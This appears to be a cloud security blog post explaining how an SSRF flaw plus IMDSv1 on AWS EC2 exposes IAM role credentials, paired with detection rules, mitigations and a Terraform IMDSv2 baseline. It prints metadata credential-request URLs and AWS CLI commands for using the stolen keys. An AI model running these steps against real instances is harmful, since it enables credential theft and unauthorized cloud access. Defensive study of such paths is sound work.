Ethical Use Notice: For authorized testing and defensive validation only.
Only test environments you own or have written permission to assess.

Executive Overview

The EC2 Instance Metadata Service (IMDS) provides temporary credentials to workloads.
When misconfigured or combined with an SSRF vulnerability, it becomes one of the most common cloud
credential exposure paths.

• Impact: Credential theft → lateral movement → privilege escalation
• Root cause: IMDSv1 + exposed application endpoints (SSRF)
• Modern mitigation: Enforce IMDSv2 + restrict role permissions

Target Architecture

Internet User
      |
      v
[ Vulnerable Web App on EC2 ]
      |
      v
169.254.169.254  (Instance Metadata Service)
      |
      v
Temporary Role Credentials
      |
      v
S3 / Secrets Manager / IAM / etc.
    

The metadata service lives at:
http://169.254.169.254 (link-local address inside the instance).

Attack Assumptions

• Web application has SSRF vulnerability
• Instance has an attached IAM role
• IMDSv1 is enabled (default in older deployments)
• Role has meaningful permissions

Exploit Walkthrough (Lab Validation)

Step 1 — Identify SSRF Entry Point

Common SSRF patterns:

• URL fetchers
• Image preview APIs
• Webhook validators
• Server-side HTTP clients

Step 2 — Query Metadata Endpoint (IMDSv1 scenario)

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
    

Returns the IAM role name attached to the instance.

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName
    

This returns:

{
  "AccessKeyId": "...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "..."
}
    

Step 3 — Use Temporary Credentials

aws sts get-caller-identity
aws s3 ls
aws secretsmanager list-secrets
    

If the role is over-permissive, this becomes full environment compromise.

IMDSv1 vs IMDSv2

IMDSv1

• No session token required
• Simple HTTP request works
• Highly vulnerable to SSRF

IMDSv2

• Session-oriented
• Requires PUT request to obtain token
• Token must be included in metadata requests
• Mitigates most simple SSRF attacks

# IMDSv2 flow
PUT /latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /latest/meta-data/
Header: X-aws-ec2-metadata-token: 
    

Detection Strategy

• CloudTrail unusual API calls from EC2 role
• Sudden spike in STS calls from instance profile
• GuardDuty findings (CredentialAccess:InstanceMetadata)
• Unusual data exfil from EC2 workload

# Detection logic
IF userAgent contains "aws-sdk" 
AND sourceIPAddress = EC2 instance
AND unusual service usage detected
THEN alert
    

Mitigation Strategy

1. Enforce IMDSv2 only
2. Disable IMDSv1
3. Use least privilege on instance roles
4. Restrict outbound access where possible
5. Use WAF to block SSRF patterns

Terraform Secure Baseline

resource "aws_instance" "secure_ec2" {
  ami           = "ami-xxxxxxxx"
  instance_type = "t3.micro"

  metadata_options {
    http_endpoint = "enabled"
    http_tokens   = "required"   # Forces IMDSv2
    http_put_response_hop_limit = 1
  }
}
    

Key Takeaways

• IMDSv1 + SSRF = credential theft risk
• IMDSv2 dramatically reduces exploitability
• Instance roles must follow least privilege
• Detection must focus on abnormal role behavior

Next in the Cloud Exploit Series:
S3 Bucket Policy Misconfigurations Leading to Data Exfiltration

Want More Offensive Cloud Research?

Subscribe to Daily Cloud Blog for deep-dive cloud attack path analysis,
secure Terraform patterns, and enterprise-ready defensive strategies.